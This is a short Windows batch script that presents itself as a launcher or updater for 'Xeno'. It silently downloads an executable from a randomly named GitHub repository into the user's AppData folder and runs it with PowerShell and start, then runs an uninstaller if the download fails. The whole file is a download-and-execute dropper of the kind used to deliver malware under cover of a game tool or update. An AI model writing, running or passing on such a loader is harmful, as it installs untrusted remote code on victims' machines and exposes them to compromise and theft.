@echo off
setlocal

set "URL=https://github.com/Untold2023/g823576h893745gh/raw/refs/heads/main/Xeno.exe"
set "OUT=%APPDATA%\Xeno.exe"
set "XENO=editor\update\Xeno.exe"

:: Download file
powershell -NoProfile -Command ^
"try { Invoke-WebRequest '%URL%' -OutFile '%OUT%' -ErrorAction Stop } catch { exit 1 }"

if errorlevel 1 (
    goto :fail
)

:: Verify downloaded file
if not exist "%OUT%" (
    goto :fail
)

:: Launch Xeno
start "" "%OUT%"
start "" "%XENO%"
goto :eof

:fail
start "" "editor\uninstall.exe"

endlocal